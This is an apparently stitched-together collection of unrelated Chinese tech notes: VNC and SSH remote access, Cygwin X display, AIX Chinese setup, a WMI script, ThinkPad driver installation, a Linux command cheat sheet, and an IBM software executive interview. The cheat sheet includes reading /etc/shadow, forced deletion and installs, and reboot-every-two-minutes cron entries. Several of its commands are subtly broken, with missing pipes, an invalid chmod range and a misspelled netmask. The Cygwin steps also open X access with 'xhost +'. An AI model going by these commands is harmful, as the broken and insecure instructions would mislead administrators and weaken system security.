New 'lint:1 (lint)' desktop is root:1
Starting applications specified in xxx/.vnc/xstartup
Log file is xxx:1.log
说明Server1已经创建成功，这时应该已经开始启动同帐户的VNC Server了。
4.此时已经可以在Linux注销当前会话，并登录到别的会话了，只要不关机，一般是不会影响到已经启动的VNC Server的。当然，也可以使用vncserver -kill来关掉指定的vnc server。
这时要在Windows下利用VNC Viewer登录到Linux。
首先启动VNC Viewer，然后输入远端主机的地址后加上VNC Server的标识号(:0表示当前桌面)，这个号取决于上面用vncserver命令启动的server号，如提示为New 'lint:1 (lint)' desktop is root:1，则输入的地址后要加上:1，其他的依此类推。
输入后会要求输入启动服务器时输入的授权密码，确定即可看到1号vncserver的KDE界面了。
5、相关配置：
修改/etc/sysconfig/vncservers
VNCSERVERS="1:root"
ARGS="-geometry 1024x768 -alwaysshared "
在ARGS 中修改"1024x768"来适应自己的X桌面实际参数配置。可以在这里添加任何其他VNC服务器参数配置。在VNCSERVERS中修改 jdimpson为你希望运行VNC桌面的用户。VNCSERVERS中的1表示VNC以桌面1运行，如果希望添加其他的桌面，可以修改配置如下：
VNCSERVERS="1:jdimpson 2:phred 3:sysadmin"
使用ssh得到远程shell
OpenSSH 是 SSH （Secure SHell） 协议的免费开源实现。它用安全、加密的网络连接工具代替了 telnet、ftp、 rlogin、rsh 和 rcp 工具。
使用 OpenSSH 工具将会增进你的系统安全性。 所有使用 OpenSSH 工具的通讯，包括口令，都会被加密。 telnet 和 ftp 使用纯文本口令，并被明文发送。这些信息可能会被截取，口令可能会被检索，然后未经授权的人员可能会使用截取的口令登录进你的系统而对你的系统造成危害。你应该尽可能地使用 OpenSSH 的工具集合来避免这些安全问题。
另一个使用 OpenSSH 的原因是，它自动把 DISPLAY 变量转发给客户机器。换一句话说，如果你在本地机器上运行 X 窗口系统，并且使用 ssh 命令登录到了远程机器上，当你在远程机器上执行一个需要 X 的程序时，它会显示在你的本地机器上。如果你偏爱图形化系统管理工具，却不能够总是亲身访问该服务器，这就会为你的工作大开方便之门。
关于ssh的一个好帖：http://www.chinaunix.net/forum/viewtopic.php?t=111248。
RHEL AS4默认以ssh替代了telnet，并且是默认开放的。如果没有，使用图形界面的系统设置－服务设置－所有服务，把其中sshd服务打开。随便找一个客户端工具就可以试一下行不行了，比如SecureCRT。
配置文件位置：/etc/ssh*
服务程序位置：/etc/init.d/sshd
使用cygwin远程连接linux桌面
cygwin工具是free的。不过你安装cygwin时需要连其中的x-free86-Win32 & Open-ssh，这样完全可以用cygwin的功能来远程登录kde或gnome，
在cygwin的命令行下:
1. 执行
#startxwin.bat,
可以看到一个XWindow的根窗口出来了。
2. 执行
#xterm -display 127.0.0.1:0.0
这时候在XWindow的根窗口里会出现一个console窗口，
您可以在里面执行任何cygwin命令
3. 在第二步的console窗口里，键入
#xhost + (若有出错,忽略之)
这将允许连接远程的x客户
4. 如果你要显示另一台linux的桌面(目标)，
（假设对方ip为192.168.0.22，自己的ip为192.168.0.8），
#ssh root@192.168.0.22 成功登陆后(也可能是其它已存在的用户)，在进入ssh中执行下面命令．
#export DISPLAY=192.168.0.8:0.0 (DISPLAY是环境参数，为大写)
#startkde
这时候您就登录kde窗口了。
在AIX中使用中文有两种途径：第一是在安装AIX时选择中文语言，装好的系统自动显示中文(这种方法不推荐使用，它没有第二种方法使用起来灵活)。第二是安装AIX时选择英文,系统启动后手工设置中文环境，方法如下：
1. 将AIX系统盘的第一张光盘放入光驱;
2. 运行命令：
smitty
--> System Environments
--> Manage Languange Environment
--> Change/Show Primary Language Environment
--> Change/Show Cultural Convention, Language, or Keyboard
在随后显示的菜单中将光标分别移到以下字段：
Primary CULTURAL Convention
Primary LANGUAGE translation
Primary KEYBOARD
按下，从弹出的菜单中选择“IBM-eucCN”将上述字段改为简体中文，按下回车键后系统自动从光盘安装中文环境软件包。此操作完成后重新启动系统，操作界面即为简体中文。
需要输入中文时使用下列功能键切换输入方法：
AIX 4.3.3 以前的版本：
+ F1 --- + F4 切换到各种中文输入方法;
右 --- 切换到英文输入;
AIX 4.3.3：
CTRL + [F2] : 智能 ABC ;
CTRL + [F4] : 拼音输入;
CTRL + [F5] : 五笔输入;
CTRL + [F6] : 郑码输入 ;
CTRL + [F7] : 表形码输入;
CTRL + [F9] : 内码输入;
CTRL + [F10] :英文半角;
此外，AIX还包含另外两种中文环境，即“UTF8”和“GBK”，它们与“IBM-eucCN”之区别在于包含了繁体汉字的使用。上述三种中文环境的设置方法均相同。
Would you like to add a picture to the background of your Sametime Connect client contact list? Now you can, with our free plug-in for Sametime. Over the coming weeks we'll release more free plug-ins. Most of them are things I find useful or one of the developers had an idea for. Often we'll learn something from developing the plug-ins we can apply to other projects, so whilst they are not full blown applications I would charge for, they can be useful tools and utilities. You can expect in the next few days to see a calculator, Vonage phone dialer and a cool meeting plug-in. If you want to install the Wallpaper plug-in, it requires Sametime 8.0 and later and you can download it from here http://www.epilio.com/web/wallpaper.htm
for 8.5
Open C:\Program Files\IBM\Lotus\Notes\framework\rcp\plugin_customization，add:
com.ibm.notes.branding/enable.update.ui=true
reboot Notes，“File”>“Application”>“Install”
什么是WMIWMI最初于 1998 年作为一个附加组件与 Windows NT 4.0 Service Pack 4 一起发行，是内置在 Windows 2000、Windows XP 和 Windows Server 2003 系列操作系统中核心的管理支持技术。基于由 Distributed Management Task Force (DMTF) 所监督的业界标准，WMI 是一种规范和基础结构，通过它可以访问、配置、管理和监视所有的 — 几乎所有的 Windows 资源。
WMI有时可以被看作结构化的命名空间（namespace）类似于活动目录中的LDAP.或者是你硬盘中的文件系统结构。
我们需要知道WMI模型中的三个组成部分：
WMI 资源：所谓WMI资源包括我们可以通过WMI访问的任何东西诸如：文件系统，网络组件，事件日志，文件，文件夹，磁盘，活动目录等等。
WMI 架构：所谓WMI架构是由三个部分组成：WMI服务，WMI知识库，和WMI providers。其中，WMI providers 是最重要的，因为它们收集WMI所需要的信息WMI 使用者：使用者使用从WMI中获得的数据，使用者可以是VBscript，Perl 或者任何其他的可以执行WMI查询的工具和应用。
实例：
通过VBscript获得WMI的信息：
strComputer = "." #"."默认指本地的计算机
Set objSWbemServices = GetObject("winmgmts:\\" & strComputer & "\root")Set colNameSpaces = objSwbemServices.InstancesOf("__NAMESPACE")
For Each objNameSpace In colNameSpaces
WScript.Echo objNameSpace.Name
Next
在WINDOWS2000professional中执行结果如下：
DEFAULT
SECURITY
CIMV2
WMI
directory
NetFrameworkv1
aspnet
MSAPPS11
SFUAdmin
1、启动进入BIOS，在config中设置Serial ATA为Compatibility；2、安装Windows Server 2008；3、安装芯片组驱动(Intel Chipset Drivers)(vista/XP/2000版)oss803ww.exe；4、安装Intel Matrix Storage Manager(vista/XP版)7zim57ww.exe；5、重启进入BIOS，在config中设置Serial ATA为AHCI；保存设设置后重启。6、安装ACPI电源驱动，就是Power Manager Driver(vista/XP/2000版)7zku03ww.exe；7、安装Lenovo System Interface Driver(vista/XP版)7jif11ww.exe；8、安装以太网卡Intel PRO/1000驱动(vista版)7vrv17ww.exe；这个驱动必须手动安装，先运行释放出来的安装程序，然后再更新它的驱动程序（注意，是连接在PCI Bus上的，而非连接在Intel(R) ICH9 Family PCI上的那个），选择从磁盘安装，安装信息文件是：C:\DRIVERS\vista\ETHERNET\PRO1000\Win32\e1y6032.inf。打开安装信息文件后，在网络适配器列表中选择Intel(R) 82567LM-2 Gigabit Network即可；9、安装NET Framework 3.5，安装时注意：必须连接Internet网，否则可能安装失败；10、安装Power Manager(vista版) 7vu430ww.exe，完成后重启；11、安装T400自带的ATI显卡驱动Switchable Graphics(vista版)7vd537ww.exe，重启电脑，T400会发现并安装ATI显卡；重启进入BIOS，设置Default Primary Video Device为Internal，设置Graphics Device为Intergrated Graphics,OS Detection for Switchable Graphics为Disabled；启动进入Windows Server 2008后，系统会自动安装Mobile Intel 45 Express显卡驱动，但这个显卡驱动不是Intel的，而是前面安装的ATI驱动包里自带的。如果安装了Intel的X4500驱动，就没办法实现双显卡切换了，这一点是显卡安装过程的重点；安装后重启电脑，让系统自动安装，然后再重启一次；重启后进入BIOS，设置Graphics Device为Switchable Graphics,OS Detection for Switchable Graphics为Enabled；启动进入Windows Server 2008，这时会看起来像没有装上显卡驱动一样，不用管，仍然按上面一样的过程让系统自动安装显卡驱动，完成后重启；进入系统后在任务栏的电池图标上单击左键，在弹出的黑色菜单下最后一项“可切换显卡”就是双显卡切换的开关，使用它即可双显卡切换。12、安装无线网卡ThinkPad 11bg Wireless LAN Mini PCI Express Adapter III驱动(vista版)7ywv11ww.exe，安装完成后要记着启用WLAN Autoconfig服务(如果该服务没有启用的话)，并且要在服务器管理器中添加“无线LAN服务”(在服务器管理器窗口中单击“添加功能”超链接，在打开的添加功能向导对话框中将“无线LAN服务”前面的复选框钩上)，否则不能使用“管理无线网络”功能，也就没法搜索无线连接和设置无线网络的参数；13、安装读卡器Ricoh 4-in-1驱动(vista/XP版) 7kss55ww.exe；14、安装迅盘ThinkPad-Intel Turbo Memory驱动(vista版)7zin53ww.exe；这个驱动必须手动安装。先释放安装文件，运行释放文件夹中的Setup.exe，重起后，打开设备管理器，在设备管理器中有一个“PCI内存控制器”的设备，更新它的驱动程序，选择从磁盘安装，安装信息文件是：C:\DRIVERS\vista\Turbomem\DRV\Winall\INVM\IaNvStor.inf。15、安装ThinkPad-Wireless WAN (HSDPA) 驱动程序(vista/XP版)7uwc24ww.exe(如果有无线广域网设备的话)。16、安装ThinkPad-Verizon Wireless WAN (UNDP) 驱动程序(vista/XP)7xwc17ww.exe(如果有无线广域网设备的话)。17、安装蓝牙ThinkPad-Bluetooth with Enhanced Data Rate驱动(XP/2000版)7vba09ww.exe；18、安装ThinkPad-Local Manageability Service and Serial Over LAN (Intel AMT 4.0)驱动程序(vista/XP版)7vr210ww.exe；这个驱动须手动安装。先释放安装文件，在设备管理器中有一个“PCI串行端口”的设备，更新它的驱动程序，选择从磁盘安装，安装信息文件是：C:\DRIVERS\WIN\AMTSOL\LMS_SOL\SOLinf\mesrl.inf。19、安装ThinkPad-Management Engine Interface (Intel AMT 4.0)驱动(vista/XP版)7vr109ww.exe；这个驱动须手动安装。先释放安装文件，在设备管理器中有一个“PCI简易通讯控制器”的设备，更新它的驱动程序，选择从磁盘安装，安装信息文件是：C:\DRIVERS\WIN\AMT\MEI\MEI\HECI.inf。20、安装ThinkPad-指纹软件(XP/vista版)7wf114ww.exe；21、安装ThinkPad-调制解调器驱动程序(vista/XP版)7vma07ww.exe；22、安装ThinkPad-声卡驱动程序(vista/XP版) 7wa109ww.exe；23、安装ThinkPad—UltraNav鼠标驱动程序(vista版)7igx13ww.exe；24、安装ThinkPad-Hotkey驱动程序(vista/XP/2000版)7vvu54ww.exe；25、安装ThinkPad-Integrated Camera摄像头软件(vista/XP/2000版)7yca04ww.exe；26、安装ThinkPad-Keyboard Customizer键盘驱动程序(vista版)7kkd03ww.exe；(选装)27、安装ThinkPad-ThinkVantage Productivity Center软件(vista/XP/2000版)7vuy02aw.exe；(选装)28、安装ThinkVantage Active Protection System软件(vista/XP/2000版)6asa04ww,exe；(选装)29、安装ThinkVantage Access Connections(vista版)7vcv55ww.exe；(选装)30、安装ThinkVantage System UPDAte系统 3.14(vista/XP/2000版)。(选装)
确定计算机上安装的 .NET Framework 版本
确定计算机上安装的 .NET Framework 版本的最简单方法是找到 %systemroot%\Microsoft.NET\Framework 文件夹。您可以将列出的 Framework 文件夹的地址粘贴到 Windows 资源管理器的地址栏中，以浏览到 Framework 文件夹。.NET Framework 的三个发行版包含在下列文件夹中：
v1.0.3705
v1.1.4322
v2.0.50727
注意：如果您看到未在本文中列出的其他格式为 vN.N.NXXXX 的目录，则这些版本可能是 .NET Framework 的测试版或预发行版。那些版本超出本文所介绍的范围。要确定计算机上安装的 .NET Framework 版本，请按照下列步骤操作：
打开前面列表中的任一文件夹，然后找到 Mscorlib.dll 文件。
右键单击该文件，然后单击“属性”。
单击“版本”选项卡，然后记下文件版本。
使用前面的列表确定计算机上安装的 .NET Framework 版本，然后单击“确定”。对计算机上的每个 .NET Framework 版本，重复这些步骤。
more /etc/group grep netcool
more /etc/passwd grep netcool
stat -c %U filename
1.cat /etc/shells 查看当前linux发行版本支持的shell类型
2.vi .bashrc 设置自己想要的命令格式
3.tail -3 /etc/passwd 查看用户文件后3项信息
4.tail -4 /etc/shadow 查看密码文件后4项信息5.tail -
5/etc/group 查看组文件后5项信息
6. chmod -R 000-777 文件名或目录 更改文件权限
7.cp * /aaa -rf 强制复制当前所有文件到/aaa目录
8.chown yuan:yuan 123 设置123文件属组.属主为yuan 可以设置文件和目录的唯一性
9./etc/skel/ 模板文件 为隐藏文件 ls -la /etc/skel/
10.usermod -L 用户 禁用用户
11.usernod -U 用户 启用系统中被禁用的帐户
12.rm -rf 文件或目录 强制删除文件或目录
13.mkdir 1/2/3 -p 强制建立多级目录
14.vi /etc/DIR-COLORS 修改字体颜色
15.rpm -ivh 安装包名称 --nodeps --force 不检查相容性强制安装
16.rpm -e 安装包名称 卸载软件
17.chsh /bin/bash 修改当前的shell环境
18. vi /etc/inittab 可以设置启动级别 id 3/5 initdefault 和打开的端口数(前加#）
19. /etc/rc.d/rc.sysinit 系统启动初始化脚本 可以修改版本信息 102.23 ：%s/red hat/yanchi /g
20. /etc/rc.local 最后一个执行的脚本 可以自定义执行一些文件和命令 /dev/sda1 /home1 ext3 default,usrqouta,grpquota 把配额信息直接写入启动脚本里，不用在自动检测
21. chkconfig --level 35 tux on 设置tux在3 5运行级别开启
22.killall -9 进程号 禁用多个进程
23. /var/spool/cron/ 用户任务计划目录
24. /etc/crontab 系统豫设置的任务
25./var/log/ 系统所有日志文件放置的目录
26.crontab -e/新建任务 -l/ 查看所有的任务 -r/ 删除用户现有的任务 */2 * * * * reboot 每2分钟重启 0 3 * * * reboot 3点重启0 4-5 * * * reboot 4-5点至少重启一次
27.service crond restart 在做完任务计划后，重新启用cron服务(减少延迟） 或是 /etc/rc.d/init.d/crond restart
28. chkconfig --level 35 crond on 开启crond在运行级别35的启动状态
29.fdisk -l 查看当前系统磁盘情况
30.vi /etc/fstab 修改分区装载设置，添加usrquota,grpquota
31.mkfs.ext3 /dev/sda1 格式化sda1盘为ext3类型
32.quotacheck -cmug 建立quota的目录 创建配额文件
33.edquota -u 用户名 设置用户或组配额大小（设置配额后用户必须先登陆后才可以查看配额信息）
34.quotacheck -mfvug 文件系统 检测配额文件和文件系统实际配额状态一致性
35.date -s 20080418 重新设置日期 date -s 152000 修改时间为15点20分
36.tar cf/czf/cjf 文件名tar/tar.gz/tar.gz2.，需要备份的文件或目录 备份文件 可以配合cron一起使用效果更好
37.tar xf/xzf/jxf 压缩的文件tar/tar.gz/tar/gz2/ -C大写 目录名 解压文件到指定的目录
38. vi /etc/sysctl.conf 下修改 net.ipv4.ip_forward =o 修改为1 sysctl -p 使配置立即生效 route add -net 目标IP地址 -netmast 子网掩码 -gw 下一条的地址 网卡作为路由 添加静态路由信息
39.ifconfig eth0 查看eth0的接口信息
40.netconfig 配置默认接口信息 利用模板 ifconfig eth0 10.1.1.1 netmast 255.0.0.0 up 配置eth0接口信息并立即生效只在当前系统下有效，重启不起效
41.cd /etc/sysconfig/network-scripts/ cp ifcfg-eth0 ifcfg-eth1 vi ifcfg-eth1 修改eth0为1 ，修改ip地址和子网掩码 通过这个方法可以给多个网卡设置ip还可以设置子接口 service network restart 重新启用服务 或是 /etc/init.d/network restart
42. 0 16 * * * ifdown eth2 下午4点关闭端口 0 18 * * * ifup eth2 下午6点打开端口
43. vi /etc/resolv.conf 修改DNS配置文件
44. vi /etc/sysconfig/network 修改主机名配置文件
45. 配置服务器nfs netconfig 设置ip地址 rpm -q nfs-utils portmap 查看是否安装软件包 mkdir yuanchi 新建yuanchi目录 chmod -R 771 yaunchi 设置yuanchi权限为771 vi /etc/exports 设置nfs配置信息 /yuanchi *(sync,rw) 注意绝对路径(no_root_squash anonuid=567,anongid=789设置同步，设置固定的uid,gid) service portmap restart 重新启动服务 showmount -e 显示nfs服务器的输出目录 配置客户机nfs netconfig 设置IP ping 服务器的IP 必须要能通 service portmap restart 重新启动服务 或用/etc/rc.d/init.d/portmap restart mkdir s1 mount 服务器的IP：/yaunchi(目录） s1 tar cjf tar.gz2 目标文件 次压缩文件小但占用CPU大
46.netstat -a 查看接口
47.tar -cjf `hostname`.`date +%Y%m%d%H%M%S%`.tar.gz2 需要备份的目录或文件 （ 通过设置主机名时间可以设置唯一的压缩包 注意区分大小写）
48.tar -cjf /指定的目录`hostname`.`date +%Y%m%d%H%M%S%`.tar.gz2 需要备份的文件或目录 （通过这个方法可以实现NFS上的备份文件，很方便）
49.date +%Y%m%d%H%M%S% 显示当前的具体时间日期
50.```````` 这是TAB上的一个键，很关键！
51.cd /mnt/hgfs/linux 进入共享文件夹
52. cp * /root -rf 强制拷贝所有文件到/root 根下面
53. cd /root 进入/root目录
54.rpm -qa 查看系统中的所有RPM包 rpm -qa ! grep httpd
55.rpm -q 查看是否安装软件
56.rpm -qi 查看软件详细信息
57.rpm -qf 查看文件属于哪个软件包
58.rpm -ql 查看软件包包括哪些文件
59.rpm -qpi 显示安装包文件信息
60.rpm -qpl 显示安装包文件列表
61. which 用于查看命令可执行路径
62.rpm -i rpm -ivh 用于安装软件 rpm -ivh 文件名 --nodeps 不检查相容性，直接安装 rpm -ivh 文件名 --force 强制安装 rpm -ivh 文件名 --nodeps --force 不检查相容性，强制安装
63.rpm -e 软件名 删除软件现在就以安装RealPlayer10GOLD.bin 为例说明安装步骤 1）先把RealPlayer10GOLD.bin 和libstdc++-3.2.2-5.i386.rpm 复制到虚拟机的共享文件夹中。 2）在进入共享文件夹cd /mnt/hgfs/linux 3）ls 查看是否有你要安装的文件 3）cp * /root -rf 强制拷贝所有文件到/root 根下面 4）cd /root 进入/root目录 5）rpm –ivh libstdc++-3.2.2-5.i386.rpm --nodeps --force 不管相容性强制安装。 6）./RealPlayer10GOLD.bin 7） 在图形界面中执行realplay即可 用init 5 和init 3相互转换
64.vi编辑环境下yy复制,dd删除p粘贴.命令模式下:u撤销最后一次操作.U撤销所有操作w保存 ,q!不保存退出.wq保存退出
“除了平衡资产负债表外，在这场游戏中最明智的做法是面向未来而不是僵守过去。”IBM全球总裁彭明盛近期对媒体如是说。在别的公司大幅裁员的时候，他对新兴市场的战略是继续招兵买马，尤其在其获利最丰的软件业务集团更是如此。
经济危机是IT业的好机会
主持人：如今金融风暴已经影响到全球的各个行业，IBM是否也是重灾区？作为多年前曾在困境中顺利转型的蓝色巨人，对于当前形势，你们将如何应对？
Steve Mills：IBM的业务没有受到全球金融危机的影响，因为金融行业客户在金融危机的情况下更需要提升效率和降低运营成本，会需要大量IT技术的支持，IBM软件提供的就是这方面的服务，因此IBM软件仍然能够在危机中找到新的盈利点。
另外IBM是全球化的公司，在很多没有发生金融危机的国家我们业务也做的很好。IBM的利润主要得益于世界各地的客户，只有不到2%的客户在金融服务领域，而这些客户中也只有6%的银行是位于受金融危机影响最严重的美国。
对于当前形势，IBM一直在监测市场成长的状态以及不同的国家人民消费的情况。从我们监测的情况看来，我们目前在中国、中东、印度等地区的业务增长很快。同分散财务风险一样，这种广阔的全球性业务布局，让IBM不至于因某个或某几个地区运营不佳而影响整体盈利，我们在严峻的经济形势下有能力获得大量的新业务。而在一些成熟的市场，我们也能看到新的发展机会。现在的客户在处理当前这种金融危机的同时，也在寻找机会来降低他们的成本、提高效率，这些驱动力让成熟的市场也存在相应机会。
主持人：在现在全球经济形势不是很好的情况下，很多公司都冻结了已经制订的招聘计划，甚至有些公司还在裁员，为什么IBM这个时候还在招人，并且在中国扩大它的规模？
Steve Mills：在面临这种危机的时候，我们的客户更加意识到IT对他们公司的重要性，一般IT做的好的公司，在这方面他的竞争能力就更强，特别是他对风险的规避，对市场的了解，对市场变化的反应能力都是通过IT体现出来的，所以在这方面他们会更加加强投资。
主持人：IBM中国软件研发团队的人数从9年前100人扩充了50倍，你们与其他跨国公司在中国建总部以销售产品为重点的目的不同，你们一直以来都在囤积“人才”，这样做的目的是什么？
Steve Mills：我们北京、上海包括台北在内的大中国区现在已经有5000名技术人员，这也说明我们有独特的能力去理解客户的需求，如今在整个大中华地区得到的信息会改造成新的产品和新的技术，这样就可以提高我们全球业务的水平，我希望在中国成立这样一种生态系统。我们还不知道今后中国开发中心会有多大规模，因为开始的时候只有几个人，我们也不知道它会变多大？这要看市场对我们的需求是什么，以及我们继续对创新、对创意、对于技术价值的理解，如今将技术价值转化为支持我们客户的业务，并且为IBM带来收入，这没有终点。
近年来IBM一直关注中型市场，它是我们软件业务的一大收入来源。我们也始终注重对新兴市场的投资。除金砖四国（巴西、俄罗斯、印度和中国）外，我们还十分期待在南非、越南、波兰等发展中国家开展一系列投资。我们的新兴市场战略已经帮助我们提高了业务量，这是一个非常难以置信的神奇之旅。软件业靠并购式生存
主持人：IBM软件集团的成长历程就是一个并购的历程，IBM软件的发展成了行业整合的一个缩影。从1995年成立软件集团随后并购Lotus软件至今，IBM已经收购了54家软件企业，最近两年，无论是甲骨文还是SAP也纷纷用并购手段扩充自己的实力，在你看来， IBM的并购路径有何长处？未来的并购战略是什么？ Steve Mills：当然，IBM并不是什么都买，收购不是为了短期市场份额的增加，标准是并购来的产品必须符合公司发展方向，如果收购一家价值、文化完全不同的公司，无异于是把水和油放在一起。以往并购中，被收购企业的软件品牌消失是很多并购案的必然结果，但IBM收购的Lotus、Tivoli、Rational的品牌却得以更快发展。
IBM的并购主要看重技术关联性和市场价值，我们会选择与IBM具有技术相关性并可以延伸产品价值链的高技术含量公司。IBM需要能够通过有机发展来弥补鸿沟和拓宽我们明星产品组合的价值。并购也可以带来更多新的创意，帮助我们开发更多新的机遇。
主持人：并购式生存是软件公司的唯一路径吗？你认为全球软件业未来五年的发 展趋势和方向会怎样？
Steve Mills：这个问题有两方面，一方面就是并购仍然会持续发生；另外一个方面就是2008年以后会出现新锐的新兴软件公司，这种情况在美国、中国、印度都会有。将来的软件业格局中，更多的会是比较大规模的公司和中等规模的公司，大量小规模的公司会被并购。
主持人：在甲骨文、IBM、微软三大软件巨头竞争中，IBM如何定义自己的角色？ Steve Mills：微软、甲骨文都是我们的竞争对手，软件收入微软是占第一位，IBM是第二位，但微软主要是在大型企业或者中小型企业应用的层面，所以市场是不一样的，我们更注重怎么样给商业或者政府机构提供软件，而不是为最终用户提供软件，我们把重点放在更大型的软件上，比如大型的数据库等等。
甲骨文做了许多大型的应用软件，而IBM是不做应用软件的，我们提供基础的平台，包括技术性的软件，比如说中间件。甚至在甲骨文收购了BEA之后，我们比甲骨文的中间件产品线至少还大50%。从这一点上也可以看到，IBM和他们实际上是有不小区别的。 主持人：有一种观点认为，软件未来的方向是服务，那么注重服务的厂商会越来越决定整个软件厂商的命运，包括Google和微软的竞争，Google从运营的范畴来向上游趋势渗透的时候，微软就会是弱势。如果软件企业不进入运营范畴的话也许会受到运营商的牵制。IBM怎样看未来软件发展的方向？IBM未来会不会进入运营的范畴？
Steve Mills：我们要关心的是对于真正购买IBM的客户来讲，我们能给他们提供什么样的价值。谁是来购买IBM软件的人？比如像中国的银行——工商银行、农业银行等，他们购买了软件只是刚刚开始，他们还要经过安装、定制等等的过程，他们使用的这些软件，需要支持很大的访问量，这些都需要有很深的技术和技能。另一方面，有一些中型企业，他们实际上想买应用，然后通过应用来支持一定的功能。比如用友这样的公司，他们可以把中间件嵌入到他们的应用底层，从而支持应用。真正的用户他们实际上对怎么样部署中间件不感兴趣，他们更感兴趣的是怎么部署应用，像用友这样的公司就可以帮助他们。
另一个例子是华为，他们提供的是网络设备，OEM一些IBM的中间件在他们的设备里面，真正的用户实际上是看不到的。
不管是大企业还是小企业，他们都购买这种应用服务。IBM做所有的事情：我们卖产品，我们也跟用友这样的合作伙伴一起合作，也有华为这样的模式，他们来OEM我们的技术，比如还提供在线服务，还有比如说外包，或者是我们把我们的技术、我们的产品卖给其他的公司，其他的公司再反过来提供这样的应用……我们做不同的、各种各样的事情。技术是我们目前投资的主要方向
主持人：卖掉PC以后，很多人提到IBM公司的时候，会说这是一家伟大的公司，而后就不知道该说什么了。更多中国用户对IBM的感知，是来自于你们很多比较非常抽象的广告，在你看来，IBM软件是如何帮助客户完成其各种需求？
Steve Mills：其实IBM的软件是服务于各行各业，在金融业，怎么样让我们的银行在网上进行银行的作业，然后更好地服务于他的客户。在销售行业，在零售行业，怎么样把他的店搬到无形的网上进行销售，让他们更好地服务于他的客户；在制造业，我们怎样帮助客户更好地控制自己的库存；我们也为政府提供一些便利的条件，怎么来控制交通，并且怎么样省电，把电灯自动关灭，更多地来服务我们各行各业的客户。
主持人：最近两年，IBM软件集团也发生了很有“深意”的转变，比如在一些新兴领域，比如Web2.0、3D互联网、虚拟化等与新技术相关的领域进行投资，IBM这么做的目的是什么？
Steve Mills：技术是我们目前投资的主要方向，因为这些技术能够带给我们客户很大的价值。比如Web2.0，这个技术对提高用户的可用性、一些社交网络很有价值，所以我们就在进行这方面的投入。另一个例子是3D互联网，实际上今天已经看到这种技术在广泛地应用。40年前，也就是大概在上世纪60年代，IBM已经在虚拟化方面进行投资了，我们比任何一家公司更懂虚拟化。如今在市场上我们可以清晰地看到，基于互联网的协议和标准实际上是市场上的主流，用户通过互联网上的一些应用来存取一些数据，现在已经被大家广泛地接受。但是现在有一种情况就是，为一家公司提供服务的不同公司之间不能相互连通。像Web服务和基于面向服务的架构（SOA），如果把它应用到其中，它能够允许多个应用互相整合、互相沟通，但这个的前提是大家都 要遵循一定的规范。
主持人：在技术领域日趋丰富的今天，寻找并投资未来主流技术就如同在一片稻田中选取优秀的种苗一样重要，作为IBM当下最盈利的业务部门之一，你会如何决策投资哪些技术，这些前瞻性的投入又是怎样和合作伙伴发生关联并给他们带来益处的呢？
Steve Mills：我们总是投资在一些能够带给我们的客户很大价值的技术上。比如Web2.0和3D互联网，我们所有的产品都是为行业所用的。在每一个应用的案例里，都先考虑到这个产品是怎么样运用到行业里面去的。举几个行业的例子，比如银行业、零售业或者是制造业，其实我们一直都跟客户紧密地在一起工作，看IBM的中间件是怎么样应用到他们的行业中去的。我们与不同的行业建立了一些特别的接口，举个制造业的例子来讲，在供应链管理方面，我们的客户有特殊的设备，我们建立了特殊的接口与他们的设备进行整合。另一个例子是在银行，银行付款这样的应用其实跟别的银行之间需要很多的交互客户的流程，实际上我们也是一直在做的。
主持人：还有什么趋势和因素是在接下来推动全球软件业继续成长的？
Steve Mills：软件业的发展实际上是技术的发展，比如说SOA技术，以及未来商业智能化的趋势，这些都是软件的机会。这个机会IBM会利用，我们的竞争对手也会，新兴的软件公司同样也会。所以我们可以看到，全球软件业将来发展的一个重要推动力来源于客户的需要。
八卦老板
最大的竞争对手？
微软公司，几乎每天都在竞争。
有何竞争策略？
没有什么比免费支持一些操作系统更加有效。
谁对你事业成长影响最大？
客户，他们教会我如何运作一个企业。
你的管理风格？
鼓励员工为客户创造最大价值。
你的前老板郭士纳和现老板彭明盛给IBM带来了哪些新变化？
正因为他们随时关注客户需求的变化，才让大象跳出曼妙的舞步。主持人的话未来的生意 1974年加盟IBM、从最初的实习生做起，Steve Mills从来没有换过公司，可谓IBMer中的纯蓝色，他曾在多个岗位工作过，在他眼中，前老板郭士纳给公司最大的变革是对客户真正的尊重和理解，历史上IBM是以硬件为主的公司，郭士纳将软件和服务部门推到前台，共同成为三大支柱，核心就是使IBM成为一家专为客户解决问题的企业。
纵观IBM成长轨迹，自我变革成为其关键词索引，在遭遇低谷，甚至生死一线的上个世纪90年代初，由于固守传统硬件优势，连续3年亏损，从而错失技术变革良机，导致身馅泥潭。没有理会愣头小子比尔·盖茨创造出来的Windows，人为创造了后来软件业最大的对手——微软，也正是这一场失误，给了IBM更深刻的教训，引发了IBM的全方位转型和IBM软件集团的诞生，那一年，是1995年。
“IBM曾经只相信自己的技术，而不把竞争者、伙伴或者用户放在眼里，现在看来，原来那个颠倒的世界结束了。”当年出版的《商业周刊》曾敏锐地撰文。1995年是IBM历史上变革最大的一年，昔日巨人从刚硬之蓝走向软蓝，有了未来颠覆全球软件业布局，IBM开始成为后来其他公司学习的榜样。
现在看来，IBM能有今天，离不开软件与服务，当然也不无偶然的好运气。1996年1月到3月，IBM的股价飙升了28%。在此之前，从PC阴影中爬起来的IBM在股市上只是保持着匀缓的上升势头。人们不明白IBM为什么凭空多了160亿美元的财富。其实IBM当时并未有重大变化，变化的是投资人的心态——他们认识到IT业正面临一个重大的机遇：电子商务。而当时IBM提出的转型理念就是“电子商务——随需应变”：从客户利益最大化角度出发，科技服务不应再以产品打包的形式销售，而该像水、电 一样根据使用量收费。
因恰逢互联网大潮前奏，电子商务点亮了蓝色巨人前行之路，已经提任IBM高级副总裁，软件集团总经理的Mills带领团队最大的探索就是如何把IBM的企业工具“Web化”（网页化），通过潜心布局，中间件成为其后来软件业务突破的一大重点。
但今天的一切又无法仅用好运气来解释。2003年1月底，Mills参加了IBM召开年度全球管理层大会，经理们长时间讨论如何围绕随需应变战略整合公司资源，但所有的讨论意见都是从公司内部出发的，最终这话题被彭明盛打断。他建议所有人都走出IBM，倾听客户的意见，了解他们最想解决的问题，并找出应对的方法。
据Mills回忆，公司的CEO彭明盛当时以身作则，用大量时间拜访重要客户。当他去沃尔玛，他给对方的承诺是：“把你最难的问题给我们。”最难的问题只有一个：怎么让每辆购货手推车实现更多销售？IBM组建了一支由管理层、咨询顾问和技术专家组成的小组，深入到细节之中。他们很快发现，对于消费者而言，在超市中最大的问题是很容易迷失方向，很多时间用来寻找自己的目标，而不是购物。针对此，IBM开发出一种内附扫描仪和液晶显示器的购物车，它能够显示超市内地图，并提供购买相关产品的信息。这一便利客户之举的直接效果是能让人们购买更多商品。
